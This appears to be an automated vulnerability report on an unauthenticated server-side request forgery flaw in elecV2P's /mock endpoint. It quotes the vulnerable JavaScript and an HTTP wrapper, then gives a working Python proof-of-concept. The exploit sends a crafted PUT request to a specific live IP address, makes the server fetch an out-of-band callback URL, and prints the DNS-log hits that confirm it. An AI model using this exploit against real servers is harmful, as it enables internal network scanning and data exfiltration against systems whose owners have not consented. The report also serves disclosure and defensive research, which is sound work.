The /mock endpoint accepts a request object and passes it directly to eAxios() without authentication or URL validation. With type: "req", the server fetches any attacker-supplied URL, enabling internal network scanning and data exfiltration. Confirmed via DNS callback.
// source-code/elecV2P-master/webser/wbjs.js#L222C20-L273C4
222→ app.put('/mock', (req, res) => {
223→ clog.notify((req.headers['x-forwarded-for'] || req.connection.remoteAddress), 'make mock', req.body.type)
224→ const request = req.body.request
225→ switch (req.body.type) {
226→ case 'req':
227→ eAxios(request).then(response => {
228→ clog.notify('mock request response:', response.data)
229→ res.json({
230→ rescode: 0,
231→ message: 'axios request success'
232→ })
233→ }).catch(error => {
234→ clog.error('mock request', errStack(error))
235→ res.json({
236→ rescode: -1,
237→ message: 'axios request fail, ' + error.message
238→ })
239→ })
240→ break
241→ case 'js':
242→ let jsname = req.body.jsname
243→ if (jsname) {
244→ if (!/\.js$/.test(jsname)) jsname = jsname + '.js'
245→ } else {
246→ jsname = 'elecV2Pmock.js'
247→ }
248→ const jscont = `/**
249→ * mock JS from elecV2P - ${jsname}
250→**/
251→
252→const request = ${ JSON.stringify(request, null, 2) }
253→
254→$axios(request).then(res=>{
255→ console.log(res.data)
256→}).catch(e=>{
257→ console.error(e)
258→})`
259→ Jsfile.put(jsname, jscont)
260→ res.json({
261→ rescode: 0,
262→ message: `success save ${jsname}`
263→ })
264→ clog.notify(`success save ${jsname}`)
265→ break
266→ default: {
267→ res.json({
268→ rescode: -1,
269→ message: 'wrong mock type'
270→ })
271→ }
272→ }
273→ })
// source-code/elecV2P-master/utils/eaxios.js#L130C1-L198C2
130→function eAxios(request, proxy = null) {
131→ if (typeof(request) === 'string') {
132→ request = {
133→ url: request
134→ }
135→ }
136→ if (isBlock(request)) {
137→ let res = {
138→ rescode: -1,
139→ message: 'error: ' + request.url + ' is blocked(You can reset on webUI->SETTING)'
140→ }
141→ if (request.headers && /json/i.test(request.headers.Accept)) {
142→ return Promise.reject(res)
143→ }
144→ return Promise.reject(res.message)
145→ }
146→ if (!/%/.test(request.url)) {
147→ // unescaped-characters 处理
148→ request.url = encodeURI(request.url)
149→ }
150→ if (!request.method) {
151→ request.method = 'get'
152→ }
153→ if (request.timeout === undefined) {
154→ request.timeout = CONFIG_Axios.timeout
155→ }
156→ request.headers = sJson(request.headers, true)
157→ // 移除 headers 中多余参数
158→ Object.keys(request.headers).forEach(key => {
159→ if (key === 'Content-Length' || key === 'content-length' || request.headers[key] === undefined) {
160→ delete request.headers[key]
161→ }
162→ })
163→ // 补充一些 headers 参数
164→ request.headers['Accept'] = request.headers['Accept'] || request.headers['accept'] || '*/*'
165→ request.headers['Accept-Encoding'] = request.headers['Accept-Encoding'] || request.headers['accept-encoding'] || '*'
166→ request.headers['Accept-Language'] = request.headers['Accept-Language'] || request.headers['accept-language'] || 'zh,zh-CN;q=0.9,en;q=0.7,*;q=0.5'
167→ request.headers['Connection'] = request.headers['Connection'] || request.headers['connection'] || 'keep-alive'
168→ request.headers['Content-Type'] = request.headers['Content-Type'] || request.headers['content-type'] || 'application/x-www-form-urlencoded; charset=UTF-8'
169→ request.headers['Date'] = request.headers['Date'] || request.headers['date'] || new Date().toUTCString()
170→ request.headers['User-Agent'] = request.headers['User-Agent'] || request.headers['user-agent'] || getUagent()
171→
172→ // request data/body 处理
173→ if (request.data === undefined) {
174→ request.data = request.body
175→ }
176→ // 非 GET 请求 url 参数移动到 body 内
177→ // if (request.method.toLowerCase() !== 'get' && !request.data && /\?/.test(request.url)) {
178→ // request.data = request.url.split('?').pop()
179→ // }
180→ if (request.data === undefined || request.data === '') {
181→ request.data = null
182→ }
183→ if (request.validateStatus === undefined) {
184→ request.validateStatus = status => status < 500
185→ }
186→
187→ // 网络请求代理处理
188→ if (proxy !== false && (proxy || CONFIG_Axios.proxy.enable)) {
189→ if (request.url.startsWith('https')) {
190→ request['httpsAgent'] = proxy ? axProxy.new(proxy) : eData.https
191→ } else {
192→ request['httpAgent'] = proxy ? axProxy.new(proxy, 'http') : eData.http
193→ }
194→ request.proxy = false
195→ }
196→
197→ return axios(request)
198→}
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/mock', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and endpoint
target_url = "http://34.127.19.15:42863/mock"
# Define the OOB URL to test the SSRF vulnerability
oob_url = 'http://$domain'
# Craft the JSON payload with the malicious URL
payload = {
"type": "req",
"request": {
"url": oob_url,
"method": "GET"
}
}
# Send the PUT request to the target
response = requests.put(target_url, json=payload, verify=False, allow_redirects=False)
# Print the results
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 74.125.80.90, 74.125.80.82, 69.28.61.221, 69.28.61.220, 74.125.80.81, 69.28.61.221, 69.28.61.220, 172.217.46.19, 74.125.80.84, 69.28.61.220, 74.125.80.30
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Summary
The /mock endpoint accepts a request object and passes it directly to eAxios() without authentication or URL validation. With type: "req", the server fetches any attacker-supplied URL, enabling internal network scanning and data exfiltration. Confirmed via DNS callback.
Details
POC